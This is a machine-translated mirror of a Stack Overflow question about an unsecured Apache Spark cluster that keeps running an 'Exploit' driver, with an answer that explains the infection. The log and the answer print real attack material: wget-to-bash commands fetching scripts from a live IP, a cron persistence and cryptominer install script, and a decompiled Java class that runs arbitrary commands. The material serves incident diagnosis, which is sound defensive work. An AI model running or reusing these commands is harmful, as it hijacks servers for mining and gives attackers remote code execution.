[英]Apache Spark shell crashes when trying to start executor on worker
[英]apache spark executor submit driver with exploit class
經過大量搜索和研究,我轉向在這里尋求幫助。 問題在於,一旦構建了一個Spark集群(一個主節點和4個具有不同IP地址的工作者),每個執行者將不斷提交“驅動程序”。 從Web UI中,我可以看到與“驅動程序”一起提交的名為“漏洞利用”的類。 網絡用戶界面
以下是一名工人的日志文件的開頭和結尾。
啟動命令:“ /usr/lib/jvm/jdk1.8/jre/bin/java”“ -cp”“ / home / labuser / spark / conf /:/ home / labuser / spark / jars / *”“ -Xmx1024M “” -Dspark.eventLog.enabled = true“” -Dspark.driver.supervise = false“” -Dspark.submit.deployMode = cluster“” -Dspark.app.name = Exploit“” -Dspark.jars = http:/ /192.99.142.226:8220/Exploit.jar “” -Dspark.master = spark://129.10.58.200:7077“” org.apache.spark.deploy.worker.DriverWrapper“” spark://Worker@129.10.58.202 :44717“” /home/labuser/spark/work/driver-20180815111311-0065/Exploit.jar“”利用“” wget -O /var/tmp/a.sh http://192.99.142.248:8220/cron5。 sh,bash /var/tmp/a.sh
18/08/15 11:13:56 DEBUG ByteBufUtil:-Dio.netty.allocator.type:未池化18/08/15 11:13:56 DEBUG ByteBufUtil:-Dio.netty.threadLocalDirectBufferSize:65536 18/08/15 11 :13:56 DEBUG ByteBufUtil:-Dio.netty.maxThreadLocalCharBufferSize:16384 18/08/15 11:13:56 DEBUG NetUtil:回送接口:lo(lo,0:0:0:0:0:0:0:0:1 %lo)15/08/15 11:13:56 DEBUG NetUtil:/ proc / sys / net / core / somaxconn:128 18/08/15 11:13:57 DEBUG TransportServer:隨機播放服務器在端口上啟動:46034 18 / 08/15 11:13:57 INFO實用程序:成功啟動端口46034上的服務“驅動程序”。15/08/15 11:13:57 INFO WorkerWatcher:連接到worker spark://Worker@129.10.58.202:44717 18 / 08/15 11:13:58 DEBUG TransportClientFactory:創建到/129.10.58.202:44717 18/08/15 11:13:59 DEBUG的新連接AbstractByteBuf:-Dio.netty.buffer.bytebuf.checkAccessible:true 18/08 / 15 11:13:59 DEBUG ResourceLeakDetector:-Dio.netty.leakDetection.level:簡單18/08/15 11:13:59 DEBUG ResourceLeakDetector:-Dio.netty.leakDetection.maxRecords:4 1 15/8/15 11:13:59 DEBUG ResourceLeakDetectorFactory:加載的默認ResourceLeakDetector:io.netty.util.ResourceLeakDetector@350d33b5 18/08/15 11:14:00 DEBUG TransportClientFactory:與/129.10.58.202:44717的連接成功,正在運行bootstraps ... 18/08/15 11:14:00 INFO TransportClientFactory:在1706 ms(在bootstraps中花費了0 ms)之后,成功創建了到/129.10.58.202:44717的連接18/08/15 11:14:00 INFO WorkerWatcher:成功連接到spark://Worker@129.10.58.202:44717 18/08/15 11:14:00 DEBUG回收站:-Dio.netty.recycler.maxCapacity.default:32768 18/08/15 11:14:00 DEBUG回收站:-Dio.netty.recycler.maxSharedCapacityFactor:2 18/08/15 11:14:00 DEBUG回收站:-Dio.netty.recycler.linkCapacity:16 18/08/15 11:14:00 DEBUG回收站:-Dio .netty.recycler.ratio:8
我發現有一個“利用”代碼,它利用任何人都可以將應用程序提交到未經授權的Spark集群這一事實來入侵Spark集群。
但是我不認為我的集群被黑了。 應用授權模式后的原因,此問題仍然存在。
我的問題是其他人有這個問題嗎? 為什么會這樣呢?
首先,反編譯的源代碼顯示驅動程序將執行通過參數提供給它的命令。 在您的情況下,此wget
將腳本下載到temp,然后執行它。
下載的腳本下載jpg並通過管道傳輸到bash。 這不是圖像
wget -q -O - http://192.99.142.248:8220/logo10.jpg | bash -sh
logo10.jpg
包含一個cron
作業,其中包含將在您的集群上運行的更多源代碼。 您可能正在看到該作業正在提交,因為它正在開始計划的作業。
#!/bin/sh
ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w sustes |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \
echo "* * * * * wget -q -O - http://192.99.142.248:8220/mr.sh | bash -sh" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
wget -O /var/tmp/config.json http://192.99.142.248:8220/3.json
wget -O /var/tmp/sustes http://192.99.142.248:8220/rig
chmod 777 /var/tmp/sustes
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./sustes -c config.json -t `echo $cores` >/dev/null &
fi
sleep 3
echo "runing....."
public class Exploit {
public Exploit() {
}
public static void main(String[] var0) throws Exception {
String[] var1 = var0[0].split(",");
String[] var2 = var1;
int var3 = var1.length;
for(int var4 = 0; var4 < var3; ++var4) {
String var5 = var2[var4];
System.out.println(var5);
System.out.println(executeCommand(var5.trim()));
System.out.println("==============================================");
}
}
private static String executeCommand(String var0) {
StringBuilder var1 = new StringBuilder();
try {
Process var2 = Runtime.getRuntime().exec(var0);
var2.waitFor();
BufferedReader var3 = new BufferedReader(new InputStreamReader(var2.getInputStream()));
String var4;
while((var4 = var3.readLine()) != null) {
var1.append(var4).append("\n");
}
} catch (Exception var5) {
var5.printStackTrace();
}
return var1.toString();
}
}
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.